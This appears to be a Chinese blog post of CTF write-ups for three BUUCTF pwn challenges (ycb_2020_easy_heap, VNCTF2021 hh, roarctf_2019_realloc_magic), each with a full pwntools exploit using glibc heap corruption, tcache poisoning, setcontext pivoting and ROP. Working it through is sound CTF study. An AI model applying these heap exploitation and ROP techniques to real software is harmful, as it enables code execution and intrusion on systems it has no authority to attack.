buu寒假练习1

ycb_2020_easy_heap

程序在使用edit功能时出现了'\x00'字节溢出,很容易想到修改下一个chunk的prev_size 、size 和 PREV_INUSE标志位,让其与上边的unsorted chunk合并造成堆块重叠

然而这里是libc-2.30.so,会对合并的上一个chunk的size检查,与修改的prev_size对比,这样以前的方法就不能继续使用了

1
2
3
4
5
6
7
8
9
//_int_free中的检查片段
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

这种高版本的off-by-one总结如下:

  1. 让合并的chunk的size与伪造的prev_size相等,才能通过检查,但修改正常chunk的size是不可能的,所以在chunk中去伪造另一个chunk即可;
  2. 由于堆块的合并还要通过unlink的检查,main_arena和bss中一般并不存在我们伪造chunk的地址(当然有PIE保护也就不用考虑bss),所以需要先去泄漏堆地址,我们自己在堆上写入伪造chunk的地址;
  3. 与以前unlink攻击的思路一样,伪造chunk的fd和bk也是需要与我们写入的地址相对应的。

具体构造如下:

程序开了沙盒,在__free_hook中写入rdi与rdx转化的gedget,再与setcontext函数相结合劫持rsp到堆上,最后直接ROP或者使用mprotect后写入shellcode

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import*
elf = ELF('easy_heap')
libc = elf.libc
#p = process('./easy_heap')
p = remote('node4.buuoj.cn',27074)
context.log_level = 'debug'
context.arch = 'amd64'

def add(size):
p.sendlineafter(b'Choice:', b'1')
p.sendlineafter(b'Size:', str(size).encode())
def edit(index, content):
p.sendlineafter(b'Choice:', b'2')
p.sendlineafter(b'Index:', str(index).encode())
p.sendafter(b'Content:', content)
def delete(index):
p.sendlineafter(b'Choice:', b'3')
p.sendlineafter(b'Index:', str(index).encode())
def show(index):
p.sendlineafter(b'Choice:', b'4')
p.sendlineafter(b'Index:', str(index).encode())

add(0x410)
add(0x10)
delete(0)
add(0x420) #本来是想通过large chunk一次性泄漏libc地址和堆地址, 但edit会引入'\x00',最后改为tcache泄漏堆地址
add(0x130)
show(2)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak - 1104 - 0x10 - libc.sym['__malloc_hook']

add(0x10)
delete(1)
delete(3)
add(0x18)
show(1) #重新申请后tcache指针依然残留,进而泄漏堆地址
p.recvuntil(b'Content: ')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x6c0

add(0x110)
payload1 = b'a' * 0xf0 + p64(0) + p64(0x21)
edit(3, payload1)
payload2 = p64(0) * 3 + p64(heap_addr + 0x2a0 + 0x20) + p64(0) + p64(0x131) + p64(heap_addr + 0x2a0) + p64(heap_addr + 0x2a0 + 8)
edit(2, payload2) #伪造堆块
payload3 = b'a' * 0x10 + p64(0x130)
edit(1, payload3)

for i in range(7):
add(0xf0)
for i in range(4, 11):
delete(i)
delete(3)
add(0x100)
add(0x10)
add(0x10)
delete(4)
delete(5)

free_hook = libcbase + libc.sym['__free_hook']
setcontext = libcbase + libc.sym['setcontext']
magic_gadget = libcbase + 0x154b90
pop_rdi = libcbase + 0x26bb2
pop_rsi = libcbase + 0x2709c
pop_rdx_r12 = libcbase + 0x11c421
ret = libcbase + 0x256b9
mprotect = libcbase + libc.sym['mprotect']

edit(1, p64(free_hook))
add(0x10)
add(0x10)
edit(5, p64(magic_gadget))

payload = p64(0) + p64(heap_addr + 0x6e0) + p64(0) * 2 + p64(setcontext + 61)
payload = payload.ljust(0xa0, b'\x00')
payload += p64(heap_addr + 0x6e0 + 0x100) + p64(ret)
payload = payload.ljust(0x100, b'\x00')
payload += p64(pop_rdi) + p64(heap_addr) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_r12) + p64(7) + p64(0) + p64(mprotect)
payload += p64(heap_addr + 0x6e0 + 0x150)
payload = payload.ljust(0x150, b'\x00')
payload += asm(shellcraft.cat('flag'))

edit(0, payload)
delete(0)

p.interactive()

VNCTF2021 hh

vmpwn类型的题,指令和操作数都是4个字节,主要使用如下指令:

利用思路:

  1. v32存在于栈上,执行指令0xb n时会造成数组越界,可以将栈上其它的内容写入v32数组,再配合指令0xe就可以泄漏栈地址和__libc_start_main地址;
  2. 指令0x9 n可以在v32数组上写入任何数,再配合指令0xd n,同样是数组越界将v32数组的内容写入到栈上其它地方,当然这里直接写入函数返回地址,执行ROP。

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import*
elf = ELF('hh')
libc = ELF('libc.so.6')
p = remote('node4.buuoj.cn', 27244)
#p = process('./hh')
#context.log_level = 'debug'

def sendgadget(gadget):
l = len(gadget) // 4
gadget = int.from_bytes(gadget, byteorder='little', signed=True)
result = b''
for i in range(l):
t = gadget & 0xffffffff
result += p32(9) + p32(t) + p32(0xd) + p32(0x7d6 + i)
gadget = gadget >> 32
return result

p.sendlineafter(b'choice :', b'1')
code = p32(11) + p32(0x7d4) + p32(11) + p32(0x7d5) + p32(11) + p32(0x7d6 + 8) + p32(11) + p32(0x7d7 + 8)
code += p32(0xe) * 4
p.sendafter(b'code:', code)
p.sendlineafter(b'choice :', b'2')
p.recvuntil(b'\n')

leak1 = int(p.recvuntil(b'\n', drop=True), 16) << 32
leak2 = leak1 + int(p.recvuntil(b'\n', drop=True), 16)
leak3 = int(p.recvuntil(b'\n', drop=True), 16) << 32
stack = leak3 + int(p.recvuntil(b'\n', drop=True), 16)
libcbase = leak2 - 240 - libc.sym['__libc_start_main']
pop_rdi = libcbase + 0x21112
pop_rsi = libcbase + 0x202f8
pop_rdx = libcbase + 0x1b92
pop_rax = libcbase + 0x3a738
ret = libcbase + 0x937
syscall_ret = libcbase + 0xbc3f5


p.sendlineafter(b'choice :', b'1')
payload = flat(
p64(pop_rdi), p64(stack + 0xb0),
p64(pop_rsi), p64(0),
p64(pop_rax), p64(2),
p64(syscall_ret),

p64(pop_rdi), p64(3),
p64(pop_rsi), p64(stack + 0x100),
p64(pop_rdx), p64(0x30),
p64(pop_rax), p64(0),
p64(syscall_ret),

p64(pop_rdi), p64(1),
p64(pop_rsi), p64(stack + 0x100),
p64(pop_rdx), p64(0x30),
p64(pop_rax), p64(1),
p64(syscall_ret)
)
payload += b'flag'
code = sendgadget(payload)
p.sendafter(b'code:', code)
p.sendlineafter(b'choice :', b'2')
p.interactive()

roarctf_2019_realloc_magic

Roderick师傅的这篇已经写得很好了,还需要注意的是使用realloc函数,在扩大内存时,并且tcache中正好有该大小的chunk,这时也并不会去使用tcache中的chunk。

自己复现的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
elf = ELF('roarctf_2019_realloc_magic')
libc = elf.libc
#p = process('./roarctf_2019_realloc_magic')
global p
#context.log_level = 'debug'

def realloc(size, content):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Size?', str(size).encode())
if size != 0:
p.sendafter(b'Content?', content)
def free():
p.sendlineafter(b'>> ', b'2')

def pwn():
realloc(0x20, b'a')
realloc(0, b'a')
realloc(0xa0, b'a')
realloc(0x80, b'a')
for i in range(7):
free()
realloc(0, b'a')
realloc(0x20, b'a')
realloc(0x40, b'a' * 0x20 + p64(0) + p64(0x81) + b'\x60\xc7')
realloc(0, b'a')
realloc(0x80, b'a')
realloc(0, b'a')
realloc(0x80, p64(0xfbad1800) + p64(0) * 3 + b'\x00')
leak = u64(p.recvuntil(b'\x7f', timeout=1)[-6:].ljust(8, b'\x00'))
libcbase = leak - 4118704
free_hook = libcbase + libc.sym['__free_hook']
onegadget = libcbase + 0x4f322

p.sendlineafter(b'>> ', b'666')
realloc(0x30, b'a')
realloc(0, b'a')
realloc(0xa0, b'a')
realloc(0x80, b'a')
for i in range(2):
free()
realloc(0, b'a')
realloc(0x30, b'a')
realloc(0x50, b'a' * 0x30 + p64(0) + p64(0x81) + p64(free_hook))
realloc(0, b'a')
realloc(0x80, b'a')
realloc(0, b'a')
realloc(0x80, p64(onegadget))
free()
p.interactive()
while True:
try :
p = remote('node4.buuoj.cn',28369)
pwn()
except Exception as e:
p.close()


buu寒假练习1
https://xtxtn.github.io/2022/12/30/buu1/
作者
xtxtn
发布于
2022年12月30日
更新于
2023年2月9日
许可协议